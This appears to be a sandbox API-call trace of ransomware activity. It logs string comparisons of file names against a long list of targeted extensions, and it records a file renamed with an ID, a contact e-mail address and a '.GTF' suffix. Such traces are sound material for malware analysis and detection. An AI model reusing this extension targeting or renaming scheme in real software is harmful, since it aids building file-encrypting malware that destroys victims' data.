	[0062.825] lstrlenW (lpString=".mdb") returned 4
	[0062.825] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0062.825] lstrlenW (lpString=".mde") returned 4
	[0062.825] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0062.825] lstrlenW (lpString=".mdf") returned 4
	[0062.825] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0062.825] lstrlenW (lpString=".mdw") returned 4
	[0062.825] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0062.825] lstrlenW (lpString=".mef") returned 4
	[0062.825] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0062.825] lstrlenW (lpString=".mft") returned 4
	[0062.825] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0062.825] lstrlenW (lpString=".mfw") returned 4
	[0062.825] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0062.825] lstrlenW (lpString=".mht") returned 4
	[0062.825] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0062.825] lstrlenW (lpString=".mhtml") returned 6
	[0062.825] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0062.825] lstrlenW (lpString=".mka") returned 4
	[0062.825] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0062.825] lstrlenW (lpString=".mkidx") returned 6
	[0062.825] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0062.825] lstrlenW (lpString=".mkv") returned 4
	[0062.825] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0062.825] lstrlenW (lpString=".mos") returned 4
	[0062.825] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0062.825] lstrlenW (lpString=".mov") returned 4
	[0062.825] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0062.825] lstrlenW (lpString=".mp3") returned 4
	[0062.826] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0062.826] lstrlenW (lpString=".mp4") returned 4
	[0062.826] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0062.826] lstrlenW (lpString=".mpeg") returned 5
	[0062.826] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0062.826] lstrlenW (lpString=".mpg") returned 4
	[0062.826] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0062.826] lstrlenW (lpString=".mpv") returned 4
	[0062.826] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0062.826] lstrlenW (lpString=".mrw") returned 4
	[0062.826] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0062.826] lstrlenW (lpString=".msg") returned 4
	[0062.826] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0062.826] lstrlenW (lpString=".mxl") returned 4
	[0062.826] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0062.826] lstrlenW (lpString=".myd") returned 4
	[0062.826] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0062.826] lstrlenW (lpString=".myi") returned 4
	[0062.826] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0062.826] lstrlenW (lpString=".nef") returned 4
	[0062.826] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0062.826] lstrlenW (lpString=".nrw") returned 4
	[0062.826] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
	[0062.826] lstrlenW (lpString=".obj") returned 4
	[0062.826] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0062.826] lstrlenW (lpString=".odb") returned 4
	[0062.826] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0062.826] lstrlenW (lpString=".odc") returned 4
	[0062.826] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0062.826] lstrlenW (lpString=".odm") returned 4
	[0062.826] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0062.826] lstrlenW (lpString=".odp") returned 4
	[0062.826] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0062.826] lstrlenW (lpString=".ods") returned 4
	[0062.826] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0062.827] lstrlenW (lpString=".oft") returned 4
	[0062.827] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0062.827] lstrlenW (lpString=".one") returned 4
	[0062.827] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0062.827] lstrlenW (lpString=".onepkg") returned 7
	[0062.827] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0062.827] lstrlenW (lpString=".onetoc2") returned 8
	[0062.827] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0062.827] lstrlenW (lpString=".opt") returned 4
	[0062.827] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0062.827] lstrlenW (lpString=".oqy") returned 4
	[0062.827] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0062.827] lstrlenW (lpString=".orf") returned 4
	[0062.827] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0062.827] lstrlenW (lpString=".p12") returned 4
	[0062.827] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0062.827] lstrlenW (lpString=".p7b") returned 4
	[0062.827] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0062.827] lstrlenW (lpString=".p7c") returned 4
	[0062.827] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0062.827] lstrlenW (lpString=".pam") returned 4
	[0062.827] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0062.827] lstrlenW (lpString=".pbm") returned 4
	[0062.827] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0062.827] lstrlenW (lpString=".pct") returned 4
	[0062.827] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0062.827] lstrlenW (lpString=".pcx") returned 4
	[0062.827] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0062.827] lstrlenW (lpString=".pdd") returned 4
	[0062.827] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0062.827] lstrlenW (lpString=".pdf") returned 4
	[0062.827] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.827] lstrlenW (lpString=".pdp") returned 4
	[0062.827] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0062.827] lstrlenW (lpString=".pef") returned 4
	[0062.828] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0062.828] lstrlenW (lpString=".pem") returned 4
	[0062.828] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0062.828] lstrlenW (lpString=".pff") returned 4
	[0062.828] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0062.828] lstrlenW (lpString=".pfm") returned 4
	[0062.828] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0062.828] lstrlenW (lpString=".pfx") returned 4
	[0062.828] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0062.828] lstrlenW (lpString=".pgm") returned 4
	[0062.828] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
	[0062.828] lstrlenW (lpString=".php") returned 4
	[0062.828] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0062.828] lstrlenW (lpString=".php3") returned 5
	[0062.828] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0062.828] lstrlenW (lpString=".php4") returned 5
	[0062.828] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0062.828] lstrlenW (lpString=".php5") returned 5
	[0062.828] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0062.828] lstrlenW (lpString=".phtml") returned 6
	[0062.828] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0062.828] lstrlenW (lpString=".pict") returned 5
	[0062.828] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0062.828] lstrlenW (lpString=".pl") returned 3
	[0062.828] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0062.828] lstrlenW (lpString=".pls") returned 4
	[0062.828] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0062.828] lstrlenW (lpString=".pm") returned 3
	[0062.828] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0062.828] lstrlenW (lpString=".png") returned 4
	[0062.828] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0062.828] lstrlenW (lpString=".pnm") returned 4
	[0062.828] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0062.828] lstrlenW (lpString=".pot") returned 4
	[0062.829] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0062.829] lstrlenW (lpString=".potm") returned 5
	[0062.829] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0062.829] lstrlenW (lpString=".potx") returned 5
	[0062.829] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0062.829] lstrlenW (lpString=".ppa") returned 4
	[0062.829] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0062.829] lstrlenW (lpString=".ppam") returned 5
	[0062.829] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0062.829] lstrlenW (lpString=".ppm") returned 4
	[0062.829] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0062.829] lstrlenW (lpString=".pps") returned 4
	[0062.829] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0062.829] lstrlenW (lpString=".ppsm") returned 5
	[0062.829] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0062.829] lstrlenW (lpString=".ppt") returned 4
	[0062.829] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.829] lstrlenW (lpString=".pptm") returned 5
	[0064.420] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0064.420] lstrlenW (lpString=".pptx") returned 5
	[0064.420] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0064.420] lstrlenW (lpString=".prn") returned 4
	[0064.420] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0064.420] lstrlenW (lpString=".ps") returned 3
	[0064.420] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0064.420] lstrlenW (lpString=".psb") returned 4
	[0064.420] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0064.420] lstrlenW (lpString=".psd") returned 4
	[0064.420] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0064.420] lstrlenW (lpString=".pst") returned 4
	[0064.420] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0064.420] lstrlenW (lpString=".ptx") returned 4
	[0064.420] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0064.420] lstrlenW (lpString=".pub") returned 4
	[0064.420] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0064.420] lstrlenW (lpString=".pwm") returned 4
	[0064.421] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0064.421] lstrlenW (lpString=".pxr") returned 4
	[0064.421] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0064.421] lstrlenW (lpString=".py") returned 3
	[0064.421] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0064.421] lstrlenW (lpString=".qt") returned 3
	[0064.421] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0064.421] lstrlenW (lpString=".r3d") returned 4
	[0064.421] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1
	[0064.421] lstrlenW (lpString=".raf") returned 4
	[0064.421] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1
	[0064.421] lstrlenW (lpString=".rar") returned 4
	[0064.421] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0064.421] lstrlenW (lpString=".raw") returned 4
	[0064.421] lstrcmpiW (lpString1=".raw", lpString2=".rtf") returned -1
	[0064.421] lstrlenW (lpString=".rdf") returned 4
	[0064.421] lstrcmpiW (lpString1=".rdf", lpString2=".rtf") returned -1
	[0064.421] lstrlenW (lpString=".rgbe") returned 5
	[0064.421] lstrcmpiW (lpString1=".rgbe", lpString2="a.rtf") returned -1
	[0064.421] lstrlenW (lpString=".rle") returned 4
	[0064.421] lstrcmpiW (lpString1=".rle", lpString2=".rtf") returned -1
	[0064.421] lstrlenW (lpString=".rqy") returned 4
	[0064.421] lstrcmpiW (lpString1=".rqy", lpString2=".rtf") returned -1
	[0064.421] lstrlenW (lpString=".rss") returned 4
	[0064.421] lstrcmpiW (lpString1=".rss", lpString2=".rtf") returned -1
	[0064.421] lstrlenW (lpString=".rtf") returned 4
	[0064.421] lstrcmpiW (lpString1=".rtf", lpString2=".rtf") returned 0
	[0064.421] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ca7f9fc, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9ca7f9fc, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9ca7f9fc, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0064.421] lstrlenW (lpString="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF") returned 50
	[0064.421] lstrlenW (lpString=".1cd") returned 4
	[0064.421] lstrcmpiW (lpString1=".1cd", lpString2=".GTF") returned -1
	[0064.421] lstrlenW (lpString=".3ds") returned 4
	[0064.421] lstrcmpiW (lpString1=".3ds", lpString2=".GTF") returned -1
	[0064.421] lstrlenW (lpString=".3fr") returned 4
	[0064.421] lstrcmpiW (lpString1=".3fr", lpString2=".GTF") returned -1
	[0064.421] lstrlenW (lpString=".3g2") returned 4
	[0064.422] lstrcmpiW (lpString1=".3g2", lpString2=".GTF") returned -1
	[0064.422] lstrlenW (lpString=".3gp") returned 4
	[0064.422] lstrcmpiW (lpString1=".3gp", lpString2=".GTF") returned -1
	[0064.422] lstrlenW (lpString=".7z") returned 3
	[0064.422] lstrcmpiW (lpString1=".7z", lpString2="GTF") returned -1
	[0064.422] lstrlenW (lpString=".accda") returned 6
	[0064.422] lstrcmpiW (lpString1=".accda", lpString2="m].GTF") returned -1
	[0064.422] lstrlenW (lpString=".accdb") returned 6
	[0064.422] lstrcmpiW (lpString1=".accdb", lpString2="m].GTF") returned -1
	[0064.422] lstrlenW (lpString=".accdc") returned 6
	[0064.422] lstrcmpiW (lpString1=".accdc", lpString2="m].GTF") returned -1
	[0064.422] lstrlenW (lpString=".accde") returned 6
	[0064.422] lstrcmpiW (lpString1=".accde", lpString2="m].GTF") returned -1
	[0064.422] lstrlenW (lpString=".accdt") returned 6
	[0064.422] lstrcmpiW (lpString1=".accdt", lpString2="m].GTF") returned -1
	[0064.422] lstrlenW (lpString=".accdw") returned 6
	[0064.422] lstrcmpiW (lpString1=".accdw", lpString2="m].GTF") returned -1
	[0064.422] lstrlenW (lpString=".adb") returned 4
	[0064.422] lstrcmpiW (lpString1=".adb", lpString2=".GTF") returned -1
	[0064.422] lstrlenW (lpString=".adp") returned 4
	[0064.422] lstrcmpiW (lpString1=".adp", lpString2=".GTF") returned -1
	[0064.422] lstrlenW (lpString=".ai") returned 3
	[0064.422] lstrcmpiW (lpString1=".ai", lpString2="GTF") returned -1
	[0064.422] lstrlenW (lpString=".ai3") returned 4
	[0064.422] lstrcmpiW (lpString1=".ai3", lpString2=".GTF") returned -1
	[0064.422] lstrlenW (lpString=".ai4") returned 4
	[0064.422] lstrcmpiW (lpString1=".ai4", lpString2=".GTF") returned -1
	[0064.422] lstrlenW (lpString=".ai5") returned 4
	[0064.422] lstrcmpiW (lpString1=".ai5", lpString2=".GTF") returned -1
	[0064.422] lstrlenW (lpString=".ai6") returned 4
	[0064.422] lstrcmpiW (lpString1=".ai6", lpString2=".GTF") returned -1
	[0064.422] lstrlenW (lpString=".ai7") returned 4
	[0064.422] lstrcmpiW (lpString1=".ai7", lpString2=".GTF") returned -1
	[0064.422] lstrlenW (lpString=".ai8") returned 4
	[0064.422] lstrcmpiW (lpString1=".ai8", lpString2=".GTF") returned -1
	[0064.422] lstrlenW (lpString=".anim") returned 5
	[0064.422] lstrcmpiW (lpString1=".anim", lpString2="].GTF") returned -1
	[0064.423] lstrlenW (lpString=".arw") returned 4
	[0064.423] lstrcmpiW (lpString1=".arw", lpString2=".GTF") returned -1
	[0064.423] lstrlenW (lpString=".as") returned 3
	[0064.423] lstrcmpiW (lpString1=".as", lpString2="GTF") returned -1
	[0064.423] lstrlenW (lpString=".asa") returned 4
	[0064.423] lstrcmpiW (lpString1=".asa", lpString2=".GTF") returned -1
	[0064.423] lstrlenW (lpString=".asc") returned 4
	[0064.423] lstrcmpiW (lpString1=".asc", lpString2=".GTF") returned -1
	[0064.423] lstrlenW (lpString=".ascx") returned 5
	[0064.423] lstrcmpiW (lpString1=".ascx", lpString2="].GTF") returned -1
	[0064.423] lstrlenW (lpString=".asm") returned 4
	[0064.423] lstrcmpiW (lpString1=".asm", lpString2=".GTF") returned -1
	[0064.423] lstrlenW (lpString=".asmx") returned 5
	[0064.423] lstrcmpiW (lpString1=".asmx", lpString2="].GTF") returned -1
	[0064.423] lstrlenW (lpString=".asp") returned 4
	[0064.423] lstrcmpiW (lpString1=".asp", lpString2=".GTF") returned -1
	[0064.423] lstrlenW (lpString=".aspx") returned 5
	[0064.423] lstrcmpiW (lpString1=".aspx", lpString2="].GTF") returned -1
	[0064.423] lstrlenW (lpString=".asr") returned 4
	[0064.423] lstrcmpiW (lpString1=".asr", lpString2=".GTF") returned -1
	[0064.423] lstrlenW (lpString=".asx") returned 4
	[0064.423] lstrcmpiW (lpString1=".asx", lpString2=".GTF") returned -1
	[0064.423] lstrlenW (lpString=".avi") returned 4
	[0064.423] lstrcmpiW (lpString1=".avi", lpString2=".GTF") returned -1
	[0064.423] lstrlenW (lpString=".avs") returned 4
	[0064.423] lstrcmpiW (lpString1=".avs", lpString2=".GTF") returned -1
	[0064.423] lstrlenW (lpString=".backup") returned 7
	[0064.423] lstrcmpiW (lpString1=".backup", lpString2="om].GTF") returned -1
	[0064.423] lstrlenW (lpString=".bak") returned 4
	[0064.423] lstrcmpiW (lpString1=".bak", lpString2=".GTF") returned -1
	[0064.423] lstrlenW (lpString=".bay") returned 4
	[0064.423] lstrcmpiW (lpString1=".bay", lpString2=".GTF") returned -1
	[0064.423] lstrlenW (lpString=".bd") returned 3
	[0064.423] lstrcmpiW (lpString1=".bd", lpString2="GTF") returned -1
	[0064.423] lstrlenW (lpString=".bin") returned 4
	[0064.423] lstrcmpiW (lpString1=".bin", lpString2=".GTF") returned -1
	[0064.423] lstrlenW (lpString=".bmp") returned 4
	[0064.423] lstrcmpiW (lpString1=".bmp", lpString2=".GTF") returned -1
	[0064.424] lstrlenW (lpString=".bz2") returned 4
	[0064.424] lstrcmpiW (lpString1=".bz2", lpString2=".GTF") returned -1
	[0064.424] lstrlenW (lpString=".c") returned 2
	[0064.424] lstrcmpiW (lpString1=".c", lpString2="TF") returned -1
	[0064.424] lstrlenW (lpString=".cdr") returned 4
	[0064.424] lstrcmpiW (lpString1=".cdr", lpString2=".GTF") returned -1
	[0064.424] lstrlenW (lpString=".cer") returned 4
	[0064.424] lstrcmpiW (lpString1=".cer", lpString2=".GTF") returned -1
	[0064.424] lstrlenW (lpString=".cf") returned 3
	[0064.424] lstrcmpiW (lpString1=".cf", lpString2="GTF") returned -1
	[0064.424] lstrlenW (lpString=".cfc") returned 4
	[0064.424] lstrcmpiW (lpString1=".cfc", lpString2=".GTF") returned -1
	[0064.424] lstrlenW (lpString=".cfm") returned 4
	[0064.424] lstrcmpiW (lpString1=".cfm", lpString2=".GTF") returned -1
	[0064.424] lstrlenW (lpString=".cfml") returned 5
	[0064.424] lstrcmpiW (lpString1=".cfml", lpString2="].GTF") returned -1
	[0064.424] lstrlenW (lpString=".cfu") returned 4
	[0064.424] lstrcmpiW (lpString1=".cfu", lpString2=".GTF") returned -1
	[0064.424] lstrlenW (lpString=".chm") returned 4
	[0064.424] lstrcmpiW (lpString1=".chm", lpString2=".GTF") returned -1
	[0064.424] lstrlenW (lpString=".cin") returned 4
	[0064.424] lstrcmpiW (lpString1=".cin", lpString2=".GTF") returned -1
	[0064.424] lstrlenW (lpString=".class") returned 6
	[0064.424] lstrcmpiW (lpString1=".class", lpString2="m].GTF") returned -1
	[0064.424] lstrlenW (lpString=".clx") returned 4
	[0064.424] lstrcmpiW (lpString1=".clx", lpString2=".GTF") returned -1
	[0064.424] lstrlenW (lpString=".config") returned 7
	[0064.424] lstrcmpiW (lpString1=".config", lpString2="om].GTF") returned -1
	[0064.424] lstrlenW (lpString=".cpp") returned 4
	[0064.424] lstrcmpiW (lpString1=".cpp", lpString2=".GTF") returned -1
	[0064.424] lstrlenW (lpString=".cr2") returned 4
	[0064.424] lstrcmpiW (lpString1=".cr2", lpString2=".GTF") returned -1
	[0064.424] lstrlenW (lpString=".crt") returned 4
	[0064.424] lstrcmpiW (lpString1=".crt", lpString2=".GTF") returned -1
	[0064.424] lstrlenW (lpString=".crw") returned 4
	[0064.424] lstrcmpiW (lpString1=".crw", lpString2=".GTF") returned -1
	[0064.424] lstrlenW (lpString=".cs") returned 3
	[0064.424] lstrcmpiW (lpString1=".cs", lpString2="GTF") returned -1
	[0064.425] lstrlenW (lpString=".css") returned 4
	[0064.425] lstrcmpiW (lpString1=".css", lpString2=".GTF") returned -1
	[0064.425] lstrlenW (lpString=".csv") returned 4
	[0064.425] lstrcmpiW (lpString1=".csv", lpString2=".GTF") returned -1
	[0064.425] lstrlenW (lpString=".cub") returned 4
	[0064.425] lstrcmpiW (lpString1=".cub", lpString2=".GTF") returned -1
	[0064.425] lstrlenW (lpString=".dae") returned 4
	[0064.425] lstrcmpiW (lpString1=".dae", lpString2=".GTF") returned -1
	[0064.425] lstrlenW (lpString=".dat") returned 4
	[0064.425] lstrcmpiW (lpString1=".dat", lpString2=".GTF") returned -1
	[0064.425] lstrlenW (lpString=".db") returned 3
	[0064.425] lstrcmpiW (lpString1=".db", lpString2="GTF") returned -1
	[0064.425] lstrlenW (lpString=".dbf") returned 4
	[0064.425] lstrcmpiW (lpString1=".dbf", lpString2=".GTF") returned -1
	[0064.425] lstrlenW (lpString=".dbx") returned 4
	[0064.425] lstrcmpiW (lpString1=".dbx", lpString2=".GTF") returned -1
	[0064.425] lstrlenW (lpString=".dc3") returned 4
	[0064.425] lstrcmpiW (lpString1=".dc3", lpString2=".GTF") returned -1
	[0064.425] lstrlenW (lpString=".dcm") returned 4
	[0064.425] lstrcmpiW (lpString1=".dcm", lpString2=".GTF") returned -1
	[0064.425] lstrlenW (lpString=".dcr") returned 4
	[0064.425] lstrcmpiW (lpString1=".dcr", lpString2=".GTF") returned -1
	[0064.425] lstrlenW (lpString=".der") returned 4
	[0064.425] lstrcmpiW (lpString1=".der", lpString2=".GTF") returned -1
	[0064.425] lstrlenW (lpString=".dib") returned 4
	[0064.425] lstrcmpiW (lpString1=".dib", lpString2=".GTF") returned -1
	[0064.425] lstrlenW (lpString=".dic") returned 4
	[0064.425] lstrcmpiW (lpString1=".dic", lpString2=".GTF") returned -1
	[0064.425] lstrlenW (lpString=".dif") returned 4
	[0064.425] lstrcmpiW (lpString1=".dif", lpString2=".GTF") returned -1
	[0064.425] lstrlenW (lpString=".divx") returned 5
	[0064.425] lstrcmpiW (lpString1=".divx", lpString2="].GTF") returned -1
	[0064.425] lstrlenW (lpString=".djvu") returned 5
	[0064.425] lstrcmpiW (lpString1=".djvu", lpString2="].GTF") returned -1
	[0064.425] lstrlenW (lpString=".dng") returned 4
	[0064.426] lstrcmpiW (lpString1=".dng", lpString2=".GTF") returned -1
	[0064.426] lstrlenW (lpString=".doc") returned 4
	[0064.426] lstrcmpiW (lpString1=".doc", lpString2=".GTF") returned -1
	[0064.426] lstrlenW (lpString=".docm") returned 5
	[0064.426] lstrcmpiW (lpString1=".docm", lpString2="].GTF") returned -1
	[0064.426] lstrlenW (lpString=".docx") returned 5
	[0064.426] lstrcmpiW (lpString1=".docx", lpString2="].GTF") returned -1
	[0064.426] lstrlenW (lpString=".dot") returned 4
	[0064.426] lstrcmpiW (lpString1=".dot", lpString2=".GTF") returned -1
	[0064.426] lstrlenW (lpString=".dotm") returned 5
	[0064.426] lstrcmpiW (lpString1=".dotm", lpString2="].GTF") returned -1
	[0064.426] lstrlenW (lpString=".dotx") returned 5
	[0064.426] lstrcmpiW (lpString1=".dotx", lpString2="].GTF") returned -1
	[0064.426] lstrlenW (lpString=".dpx") returned 4
	[0064.426] lstrcmpiW (lpString1=".dpx", lpString2=".GTF") returned -1
	[0064.426] lstrlenW (lpString=".dqy") returned 4
	[0064.426] lstrcmpiW (lpString1=".dqy", lpString2=".GTF") returned -1
	[0064.426] lstrlenW (lpString=".dsn") returned 4
	[0064.426] lstrcmpiW (lpString1=".dsn", lpString2=".GTF") returned -1
	[0064.426] lstrlenW (lpString=".dt") returned 3
	[0064.426] lstrcmpiW (lpString1=".dt", lpString2="GTF") returned -1
	[0064.426] lstrlenW (lpString=".dtd") returned 4
	[0064.426] lstrcmpiW (lpString1=".dtd", lpString2=".GTF") returned -1
	[0064.426] lstrlenW (lpString=".dwg") returned 4
	[0064.426] lstrcmpiW (lpString1=".dwg", lpString2=".GTF") returned -1
	[0064.426] lstrlenW (lpString=".dwt") returned 4
	[0064.426] lstrcmpiW (lpString1=".dwt", lpString2=".GTF") returned -1
	[0064.426] lstrlenW (lpString=".dx") returned 3
	[0064.426] lstrcmpiW (lpString1=".dx", lpString2="GTF") returned -1
	[0064.426] lstrlenW (lpString=".dxf") returned 4
	[0064.426] lstrcmpiW (lpString1=".dxf", lpString2=".GTF") returned -1
	[0064.426] lstrlenW (lpString=".edml") returned 5
	[0064.426] lstrcmpiW (lpString1=".edml", lpString2="].GTF") returned -1
	[0064.426] lstrlenW (lpString=".efd") returned 4
	[0064.426] lstrcmpiW (lpString1=".efd", lpString2=".GTF") returned -1
	[0064.426] lstrlenW (lpString=".elf") returned 4
	[0064.426] lstrcmpiW (lpString1=".elf", lpString2=".GTF") returned -1
	[0064.427] lstrlenW (lpString=".emf") returned 4
	[0064.427] lstrcmpiW (lpString1=".emf", lpString2=".GTF") returned -1
	[0064.427] lstrlenW (lpString=".emz") returned 4
	[0064.427] lstrcmpiW (lpString1=".emz", lpString2=".GTF") returned -1
	[0064.427] lstrlenW (lpString=".epf") returned 4
	[0064.427] lstrcmpiW (lpString1=".epf", lpString2=".GTF") returned -1
	[0064.427] lstrlenW (lpString=".eps") returned 4
	[0064.427] lstrcmpiW (lpString1=".eps", lpString2=".GTF") returned -1
	[0064.427] lstrlenW (lpString=".epsf") returned 5
	[0064.427] lstrcmpiW (lpString1=".epsf", lpString2="].GTF") returned -1
	[0064.427] lstrlenW (lpString=".epsp") returned 5
	[0064.427] lstrcmpiW (lpString1=".epsp", lpString2="].GTF") returned -1
	[0064.427] lstrlenW (lpString=".erf") returned 4
	[0064.427] lstrcmpiW (lpString1=".erf", lpString2=".GTF") returned -1
	[0064.427] lstrlenW (lpString=".exr") returned 4
	[0064.427] lstrcmpiW (lpString1=".exr", lpString2=".GTF") returned -1
	[0064.427] lstrlenW (lpString=".f4v") returned 4
	[0064.427] lstrcmpiW (lpString1=".f4v", lpString2=".GTF") returned -1
	[0064.427] lstrlenW (lpString=".fido") returned 5
	[0064.427] lstrcmpiW (lpString1=".fido", lpString2="].GTF") returned -1
	[0064.427] lstrlenW (lpString=".flm") returned 4
	[0064.427] lstrcmpiW (lpString1=".flm", lpString2=".GTF") returned -1
	[0064.427] lstrlenW (lpString=".flv") returned 4
	[0064.427] lstrcmpiW (lpString1=".flv", lpString2=".GTF") returned -1
	[0064.427] lstrlenW (lpString=".frm") returned 4
	[0064.427] lstrcmpiW (lpString1=".frm", lpString2=".GTF") returned -1
	[0064.427] lstrlenW (lpString=".fxg") returned 4
	[0064.427] lstrcmpiW (lpString1=".fxg", lpString2=".GTF") returned -1
	[0064.427] lstrlenW (lpString=".geo") returned 4
	[0064.427] lstrcmpiW (lpString1=".geo", lpString2=".GTF") returned -1
	[0064.427] lstrlenW (lpString=".gif") returned 4
	[0064.427] lstrcmpiW (lpString1=".gif", lpString2=".GTF") returned -1
	[0064.427] lstrlenW (lpString=".grs") returned 4
	[0064.427] lstrcmpiW (lpString1=".grs", lpString2=".GTF") returned -1
	[0064.427] lstrlenW (lpString=".gz") returned 3
	[0064.427] lstrcmpiW (lpString1=".gz", lpString2="GTF") returned -1
	[0064.427] lstrlenW (lpString=".h") returned 2
	[0064.427] lstrcmpiW (lpString1=".h", lpString2="TF") returned -1
	[0064.428] lstrlenW (lpString=".hdr") returned 4
	[0064.428] lstrcmpiW (lpString1=".hdr", lpString2=".GTF") returned 1
	[0064.428] lstrlenW (lpString=".hpp") returned 4
